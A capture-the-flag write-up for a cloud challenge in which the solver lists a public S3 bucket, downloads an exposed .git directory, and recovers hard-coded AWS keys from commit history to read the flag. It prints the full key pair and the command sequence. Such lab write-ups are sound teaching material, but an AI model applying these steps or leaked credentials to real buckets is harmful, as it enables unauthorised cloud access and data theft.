Static
- Category: Cloud
- 200 points
- Solved by JCTF Team
Description
Solution
The description isn't lying, the attached website is just a static website about bitcoins. Nothing interesting there. However, the challenge category is "cloud", and when we check the site headers we see:
root@kali:/media/sf_CTFs/appsec/Static# curl -I http://static.appsecil.ctf.today/
HTTP/1.1 200 OK
Date: Mon, 26 Oct 2020 20:49:37 GMT
Content-Type: text/html
Connection: keep-alive
x-amz-id-2: LpLbIofXGbpH19h/0vVulYUBtWpheY6WLJj/B2dgDCoU31gTqOkAxalalnBBdop8oW3/fcazfw4=
x-amz-request-id: AAAE08000EE6407D
Last-Modified: Tue, 13 Oct 2020 08:44:30 GMT
CF-Cache-Status: DYNAMIC
cf-request-id: 06084583170000e60ca18b8000000001
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=FO9ZoK9uuH0KVaiA0%2BUraPKdZglXwTN94bpd3VyZjKvyDJBvc%2BWbQ7ANJIokazP4rRdMvK2nQ7mzNr23F7vtS1wYqwUqSoE%2FP1j7GHVXt8zSf8N41HBqivr5"}],"group":"cf-nel","max_age":604800}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 5e870b7e8945e60c-LHR
x-amz-id-2
and x-amz-request-id
are Amazon headers. So, let's append s3.amazonaws.com
and see if we get lucky:
root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/
<?xml version="1.0" encoding="UTF-8"?>
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>static.appsecil.ctf.today</Name><Prefix></Prefix><Marker></Marker><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>.git/COMMIT_EDITMSG</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"709dad26ae74855d5c97dd3d29321ad4"</ETag><Size>39</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/HEAD</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"4cf2d64e44205fe628ddd534e1151b58"</ETag><Size>23</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/config</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"0ed3016f577589d5c645cb8183ca4680"</ETag><Size>157</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/description</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"a0a7c3fff21f2aea3cfa1d0316dd816c"</ETag><Size>73</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/applypatch-msg.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"ce562e08d8098926a3862fc6e7905199"</ETag><Size>478</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/commit-msg.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"579a3c1e12a1e74a98169175fb913012"</ETag><Size>896</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/fsmonitor-watchman.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"ea587b0fae70333bce92257152996e70"</ETag><Size>4655</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/post-update.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"2b7ea5cee3c49ff53d41e00785eb974c"</ETag><Size>189</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-applypatch.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"054f9ffb8bfe04a599751cc757226dda"</ETag><Size>424</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-commit.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"305eadbbcd6f6d2567e033ad12aabbc4"</ETag><Size>1643</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-merge-commit.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"39cb268e2a85d436b9eb6f47614c3cbc"</ETag><Size>416</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-push.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"3c5989301dd4b949dfa1f43738a22819"</ETag><Size>1348</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-rebase.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"56e45f2bcbc8226d2b4200f7c46371bf"</ETag><Size>4898</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/pre-receive.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"2ad18ec82c20af7b5926ed9cea6aeedd"</ETag><Size>544</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/prepare-commit-msg.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"2b5c047bdb474555e1787db32b2d2fc5"</ETag><Size>1492</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/hooks/update.sample</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"7bf1fcc5f411e5ad68c59b68661660ed"</ETag><Size>3635</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/index</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"c26bf94299b418b41a3e5ca5be8339bc"</ETag><Size>297</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/info/exclude</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"036208b4a1ab4a235d75c181e685e5a3"</ETag><Size>240</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/logs/HEAD</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"efccaf7d1c9cb133254917da972e94f8"</ETag><Size>324</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/logs/refs/heads/master</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"efccaf7d1c9cb133254917da972e94f8"</ETag><Size>324</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/0a/67975a74480e8613c168821411e0fafa76dcce</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"4b3535488af2c2c6999b6b0138fcfa39"</ETag><Size>127</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/0c/ffcb348ff9cec9cd41492a9e5c5a41d86ce96e</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"7f1bbe00539c65b1c0c90d0d6e15d274"</ETag><Size>27</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/17/fb9eb375b41e9a336598e9c6a0c06f5b1f2bee</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"28c1bef6bbe63a71898eae9282ba5ec0"</ETag><Size>512</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/9a/91362d44499b0960b61e7d54e06bc5430749f3</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"bbd6554fb31d0568d656692c96e26468"</ETag><Size>477</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/a9/227a2517566ab157e6f2e88974cdb0e7a138aa</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"d7a73a9e4b5b825e97f2b826769df4c0"</ETag><Size>124</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/cd/b77fdfde915490147433b6e89717ae291d8ecd</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"8a2bb4b201349cea074b2a2beddbe0a6"</ETag><Size>30</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/ce/dbb182b85c38205239bb72029ad208cdf28a4c</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"5a05a9a774b6076358d57ae0ae514e97"</ETag><Size>171</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/objects/d3/696d88d8856698a26e76c4d183f59dc2a6a6f9</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"5e29bcb350486cb381b60ab3fa345ab1"</ETag><Size>92</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>.git/refs/heads/master</Key><LastModified>2020-10-13T09:09:56.000Z</LastModified><ETag>"cac71bf0a6865b04df5bd64841348138"</ETag><Size>41</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>flag.txt</Key><LastModified>2020-10-13T08:44:30.000Z</LastModified><ETag>"fa098ab116f7bb8f311fb8e2d8bd5ad8"</ETag><Size>41</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>index.html</Key><LastModified>2020-10-13T08:44:30.000Z</LastModified><ETag>"45c3725a7cfc8f55ab4b3d6bbee83ad2"</ETag><Size>5466</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>pricing.css</Key><LastModified>2020-10-13T08:44:30.000Z</LastModified><ETag>"9da9b0b9bdb774d189d0046d9836b583"</ETag><Size>376</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>quotes/</Key><LastModified>2020-10-13T08:43:51.000Z</LastModified><ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag><Size>0</Size><StorageClass>STANDARD</StorageClass></Contents><Contents><Key>quotes/2020-10-13.json</Key><LastModified>2020-10-13T08:44:15.000Z</LastModified><ETag>"915a67d704006e47f59d52fd3e4281ea"</ETag><Size>109</Size><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult>
Looks like a bunch of files, let's try to extract just the names:
root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/ -s | grep -Po '(?<=<Key>)([^<]+)(?=</Key>)'
.git/COMMIT_EDITMSG
.git/HEAD
.git/config
.git/description
.git/hooks/applypatch-msg.sample
.git/hooks/commit-msg.sample
.git/hooks/fsmonitor-watchman.sample
.git/hooks/post-update.sample
.git/hooks/pre-applypatch.sample
.git/hooks/pre-commit.sample
.git/hooks/pre-merge-commit.sample
.git/hooks/pre-push.sample
.git/hooks/pre-rebase.sample
.git/hooks/pre-receive.sample
.git/hooks/prepare-commit-msg.sample
.git/hooks/update.sample
.git/index
.git/info/exclude
.git/logs/HEAD
.git/logs/refs/heads/master
.git/objects/0a/67975a74480e8613c168821411e0fafa76dcce
.git/objects/0c/ffcb348ff9cec9cd41492a9e5c5a41d86ce96e
.git/objects/17/fb9eb375b41e9a336598e9c6a0c06f5b1f2bee
.git/objects/9a/91362d44499b0960b61e7d54e06bc5430749f3
.git/objects/a9/227a2517566ab157e6f2e88974cdb0e7a138aa
.git/objects/cd/b77fdfde915490147433b6e89717ae291d8ecd
.git/objects/ce/dbb182b85c38205239bb72029ad208cdf28a4c
.git/objects/d3/696d88d8856698a26e76c4d183f59dc2a6a6f9
.git/refs/heads/master
flag.txt
index.html
pricing.css
quotes/
quotes/2020-10-13.json
Now we cat see that there's a flag hiding there. Can it be this easy?
root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/flag.txt
<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>B4E3B7A68A324EBA</RequestId><HostId>X5i0addaCOMzVgekAelnk/rFWoRfvyHeugk4053Wpt6eT0WrgZL7sjy1Sns9u53wpu2jMW9c3g8=</HostId></Error>
Obviously not. The next step is clearly to download the git repository and analyze it.
We can use the following command to download all files:
root@kali:/media/sf_CTFs/appsec/Static# curl http://static.appsecil.ctf.today.s3.amazonaws.com/ -s | grep -Po '(?<=<Key>)([^<]+)(?=</Key>)' | while read line ; do dirname="$(dirname $line)"; mkdir -p bucket/$dirname; curl -s http://static.appsecil.ctf.today.s3.amazonaws.com/$line > bucket/$line ; done
What we get is the repository:
root@kali:/media/sf_CTFs/appsec/Static# tree -a bucket
bucket
├── flag.txt
├── .git
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
│ │ ├── commit-msg.sample
│ │ ├── fsmonitor-watchman.sample
│ │ ├── post-update.sample
│ │ ├── pre-applypatch.sample
│ │ ├── pre-commit.sample
│ │ ├── pre-merge-commit.sample
│ │ ├── prepare-commit-msg.sample
│ │ ├── pre-push.sample
│ │ ├── pre-rebase.sample
│ │ ├── pre-receive.sample
│ │ └── update.sample
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ │ ├── HEAD
│ │ └── refs
│ │ └── heads
│ │ └── master
│ ├── objects
│ │ ├── 0a
│ │ │ └── 67975a74480e8613c168821411e0fafa76dcce
│ │ ├── 0c
│ │ │ └── ffcb348ff9cec9cd41492a9e5c5a41d86ce96e
│ │ ├── 17
│ │ │ └── fb9eb375b41e9a336598e9c6a0c06f5b1f2bee
│ │ ├── 9a
│ │ │ └── 91362d44499b0960b61e7d54e06bc5430749f3
│ │ ├── a9
│ │ │ └── 227a2517566ab157e6f2e88974cdb0e7a138aa
│ │ ├── cd
│ │ │ └── b77fdfde915490147433b6e89717ae291d8ecd
│ │ ├── ce
│ │ │ └── dbb182b85c38205239bb72029ad208cdf28a4c
│ │ └── d3
│ │ └── 696d88d8856698a26e76c4d183f59dc2a6a6f9
│ └── refs
│ └── heads
│ └── master
├── index.html
├── pricing.css
└── quotes
└── 2020-10-13.json
Simple git commands now work:
root@kali:/media/sf_CTFs/appsec/Static/bucket# git ls-files
.gitignore
main.py
requirements.txt
This is how main.py
currently looks:
root@kali:/media/sf_CTFs/appsec/Static/bucket# git show HEAD:main.py
import requests
import time
import boto3
from botocore.client import Config
import json
from datetime import datetime
BUCKET_NAME = "static.appsecil.ctf.today"
with open("config.json") as config_file:
config = json.load(config_file)
client = boto3.client(
's3',
aws_access_key_id=config['AWS_KEY'],
aws_secret_access_key=config['AWS_SECRET']
)
def write_to_s3(json_file):
object = client.upload_fileobj(json_file, BUCKET_NAME, "quotes/"+json_file)
return bool(object)
def write_to_local(json_obj):
file_name = datetime.today().strftime('%Y-%m-%d')
with open(file_name+".json", "w") as f:
f.write(json.dumps(json_obj))
return file_name
if __name__ == "__main__":
get_latest_price = requests.get("https://api.bittrex.com/v3/markets/BSV-USDT/ticker").json()
file_name = write_to_local(get_latest_price)
write_to_s3(file_name)
We can view commit history:
root@kali:/media/sf_CTFs/appsec/Static/bucket# git log
commit cedbb182b85c38205239bb72029ad208cdf28a4c (HEAD -> master)
Author: Alex <[email protected]>
Date: Tue Oct 13 11:58:32 2020 +0300
Add config file instead of global vars
commit a9227a2517566ab157e6f2e88974cdb0e7a138aa
Author: Alex <[email protected]>
Date: Tue Oct 13 11:55:41 2020 +0300
Initial commit
And check the diffs:
root@kali:/media/sf_CTFs/appsec/Static/bucket# git show
commit cedbb182b85c38205239bb72029ad208cdf28a4c (HEAD -> master)
Author: Alex <[email protected]>
Date: Tue Oct 13 11:58:32 2020 +0300
Add config file instead of global vars
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..0cffcb3
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1 @@
+config.json
\ No newline at end of file
diff --git a/main.py b/main.py
index 17fb9eb..9a91362 100644
--- a/main.py
+++ b/main.py
@@ -5,14 +5,14 @@ from botocore.client import Config
import json
from datetime import datetime
-AWS_KEY = "AKIAQEOEU25UQKGTPPOR"
-AWS_SECRET = "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"
BUCKET_NAME = "static.appsecil.ctf.today"
+with open("config.json") as config_file:
+ config = json.load(config_file)
client = boto3.client(
's3',
- aws_access_key_id=AWS_KEY,
- aws_secret_access_key=AWS_SECRET
+ aws_access_key_id=config['AWS_KEY'],
+ aws_secret_access_key=config['AWS_SECRET']
)
def write_to_s3(json_file):
@@ -28,4 +28,4 @@ def write_to_local(json_obj):
if __name__ == "__main__":
get_latest_price = requests.get("https://api.bittrex.com/v3/markets/BSV-USDT/ticker").json()
file_name = write_to_local(get_latest_price)
- write_to_s3(file_name)
\ No newline at end of file
+ write_to_s3(file_name)
We see that previously, the AWS key and secret were hardcoded in the sources. We can use this to access the S3 bucket:
root@kali:/media/sf_CTFs/appsec/Static# export AWS_ACCESS_KEY_ID=AKIAQEOEU25UQKGTPPOR
root@kali:/media/sf_CTFs/appsec/Static# export AWS_SECRET_ACCESS_KEY=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
root@kali:/media/sf_CTFs/appsec/Static# aws s3 ls s3://static.appsecil.ctf.today
PRE .git/
PRE quotes/
2020-10-13 11:44:30 41 flag.txt
2020-10-13 11:44:30 5466 index.html
2020-10-13 11:44:30 376 pricing.css
root@kali:/media/sf_CTFs/appsec/Static# aws s3 cp s3://static.appsecil.ctf.today/flag.txt .
download: s3://static.appsecil.ctf.today/flag.txt to ./flag.txt
root@kali:/media/sf_CTFs/appsec/Static# cat flag.txt
AppSec-IL{Keep-j00r-AW2-Key2-t0-j00R5eLF}